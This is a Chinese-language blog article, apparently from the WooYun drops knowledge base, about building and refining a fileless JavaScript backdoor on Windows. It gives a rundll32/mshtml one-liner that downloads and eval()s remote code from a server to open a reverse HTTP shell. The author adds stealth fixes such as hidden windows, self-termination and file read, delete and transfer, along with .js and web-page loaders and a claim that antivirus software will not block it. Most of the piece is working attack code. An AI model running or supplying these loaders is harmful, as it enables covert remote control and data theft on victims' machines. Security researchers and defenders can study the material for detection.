作者:
三好學生
·
2016/01/05 10:23
0x00 前言
Casey Smith最近在Twitter分享了他的研究成果,執行一段JavaScript程式碼即可反彈一個Http Shell,很是奇妙,所以就對這個技術做了進一步研究。
0x01 簡介
從截圖我們可以看到該技術的使用方法,在cmd下利用rundll32.exe載入JavaScript程式碼,程式碼執行後會反彈一個Http Shell,而特別的地方在於當執行完cmd命令後,後臺會一直存在程式rundll32.exe用來同Server持續連線,整個過程不需要寫入檔案,隱蔽性大大提高。
0x02 測試環境
Server:
#!bash
OS:Win7 x64
IP:192.168.174.131
Client:
#!bash
OS:Win7 x86
IP:192.168.174.130
下載連結:
https://gist.github.com/subTee/f1603fa5c15d5f8825c0
0x03 實際測試
1、Server啟動服務,監聽埠
需要將下載指令碼中的IP修改為當前主機IP
管理員執行
2、Client載入JavaScript指令
#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);h.Send();B=h.ResponseText;eval(B)
3、Server彈回Shell
可以執行cmd命令並獲得回顯
0x04 測試中的Bug
1、連線超時
在成功返回shell後,如果在後臺等待一段時間,Clinet就會彈出超時連線的對話方塊
從截圖可以看到Casey Smith已經發現了連線超時的問題,所以在新版本已經做了修正,加上window.setTimeout來避免連線超時的錯誤,在message內加了超時判斷(message儲存用於實現Client後續連線的程式碼,具體細節一看程式碼就明白),但是這樣做還遠遠不夠。
2、程式殘留
如果Server退出,Clinet還會存在rundll32.exe程式
3、執行cmd命令會彈黑框
如果是立即回顯的cmd命令,黑框一閃而過
如果是systeminfo這種需要等待的cmd命令,會一直彈出cmd 執行的黑框,等到執行完畢才會退出
4、執行exe會阻塞
比如執行calc.exe,server端會阻塞,直到關閉calc.exe程式才會恢復正常
如圖
5、無法刪除檔案
如圖
6、server端無法正常退出
想退出只能強行關閉當前cmd.exe
7、無法上傳下載檔案
0x05 最佳化思路
1、對setTimeout的解釋
查詢相關資料如下:
https://msdn.microsoft.com/en-us/library/windows/desktop/aa384061(v=vs.85).aspx
文中提到了JavaScript實現WinHttpRequest的用法,如圖
setTimeout用來設定http的超時時間,如果全為0,代表no time-out,也就是無限期
注:
在Casey Smith釋出的第一個版本尚未修復該方法的時候,我解決該方法的思路是參照微軟的方法,對應到程式碼中就是新增
h.SetTimeouts(0, 0, 0, 0);
即可
2、增加try catch方法處理錯誤訊息
Casey Smith在程式碼中雖然加入了超時判斷,但沒有對其他可能產生的意外錯誤做判斷,所以需要新增try catch對錯誤訊息進行響應。
try catch不僅能夠解決上述問題中的Bug1,同樣能用來判斷輸入的命令能否成功執行(比如輸錯命令或輸錯路徑)
(相關細節可參照結尾提供的參考程式碼)
查詢相關資料如下:
http://blog.csdn.net/qdfeitian/article/details/6371146
3、使用taskkill解決程式殘留的問題
Clinet可以使用taskkill來結束自身程式,自動退出
#!js
new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe")
4、WScript.Shell物件run和exec的區別
參考資料:
為了獲得cmd命令的回顯,Casey Smith採用的方法是使用exec方法,因為只有exec方法的返回值是一個物件,才可以獲得控制檯輸出資訊和控制檯錯誤資訊
而run方法的返回值是一個整數,就是0或1成功和失敗兩個狀態
但是使用exec方法也有一些弊端,比如測試中的bug3和bug4,這是exec方法本身所無法解決的問題。
而如果使用run方法可以解決bug4
綜上,解決思路是對輸入的內容做判斷,如果是cmd命令,使用exec方法;如果是執行exe,使用run方法
5、解決使用run方法執行命令會彈黑框的問題
參考資料:
https://msdn.microsoft.com/zh-cn/library/d5fk67ky(en-us,VS.85).aspx
如圖
run方法其實後面還可以加引數指示該視窗能否被看見
所以在執行比如taskkill的命令就可以使用
#!js
new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true)
避免彈出黑框
注:
intWindowStyle
引數的說明中提到“Note that not all programs make use of this information.”
例子之一就是用run方法來執行systeminfo這種需要等待的cmd命令是無法隱藏視窗的
6、如何隱蔽執行systeminfo並獲取回顯
參考瞭如下資料:
WooYun: 搜狗瀏覽器遠端命令執行之五 "> WooYun: 搜狗瀏覽器遠端命令執行之五
如果使用exec方法,雖然可以獲取到回顯,但是利用window.moveTo(-1000,-1000)無法移動彈出的黑框
而使用run方法雖然可以移動彈出的黑框,但是無法獲得回顯
綜合這兩種方法,最後我們只能退而求其次,使用run方法將執行命令回顯的結果輸出到檔案中,然後再透過讀取檔案來獲取結果
具體實現如下:
(1)使用run方法將systeminfo回顯的結果輸出到檔案中c\test\a.txt
示例程式碼:
#!js
new ActiveXObject("WScript.Shell").Run("cmd /c systeminfo >>c\test\a.txt",0,true)
(2)讀取檔案並回傳
示例程式碼:
#!js
fso1=new ActiveXObject("Scripting.FileSystemObject");
f=fso1.OpenTextFile(d,1);
g=f.ReadAll();
f.Close();
透過呼叫new ActiveXObject("Scripting.FileSystemObject")
讀取回顯內容,然後再回傳資訊
(相關細節可參照結尾提供的參考程式碼)
7、解決連線超時的問題
透過以上的分析,如果要解決連線超時的問題,需要對Clinet執行的命令新增如下功能:
- 捕獲錯誤訊息
- 程式自動退出
- 全過程不彈黑框
所以Clinet執行的命令最終最佳化為:
#!bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e{new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
8、解決server端無法正常退出
加入exit命令判斷,如果輸入exit,那麼Client呼叫taskkill結束自身,Server同樣執行exit退出
(相關細節可參照結尾提供的參考程式碼)
9、解決刪除檔案的問題
透過呼叫new ActiveXObject("Scripting.FileSystemObject")
實現
示例程式碼:
#!js
fso1=new ActiveXObject("Scripting.FileSystemObject");
f =fso1.GetFile(d);
f.Delete();
(相關細節可參照結尾提供的參考程式碼)
10、解決檔案上傳下載
示例如圖:
示例程式碼可以實現簡單的檔案上傳下載,但裡面存在一個小bug,如果你投入精力,不難解決
0x06 補充
1、白名單程式,免疫防毒軟體
由於是透過rundll.exe呼叫的程式碼,所以防毒軟體會放行,不會攔截
2、檢測
通訊協議使用HTTP,透過防火牆攔截流量即可發現其中的攻擊行為
3、更多載入方式
(1)js檔案
可以放在js檔案裡面 雙擊js檔案執行
#!js
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://192.168.174.131/connect",false);
try{
h.Send();
B=h.ResponseText;
eval(B);
}
catch(e)
{
new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im wscript.exe",0,true);
}
後臺程式為wscript.exe
(2)嘗試掛在網頁裡面
#!html
<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
<head>
<title> new document </title>
<meta name="generator" content="editplus">
<meta name="author" content="">
<meta name="keywords" content="">
<meta name="description" content="">
<script language="javascript" type="text/javascript">
h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
h.Open("GET","http://192.168.174.131/connect",false);
h.Send();
B=h.ResponseText;
eval(B);
</script>
</head>
<body>
</body>
</html>
使用ie開啟會提示是否載入控制元件,如果允許,即可彈回shell
Chrome、Firefox不支援ActiveXObject,所以不會觸發
0x07 小結
我在Casey Smith的基礎上,對其程式碼做了進一步最佳化,對JavaScript Backdoor技術做了進一步研究,感謝他的無私分享,才有了我的這篇文章。
我開發的程式碼已上傳到github,下載連結:
https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1
歡迎下載測試,交流學習。
支援的功能如圖
注:
本文僅用來學習交流JavaScript Backdoor技術,並提供了檢測方法
同時在檔案上傳下載的功能上留下了bug,距實際使用還有一點距離,以避免該方法被濫用。
本文由三好學生原創並首發於烏雲drops,轉載請註明
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!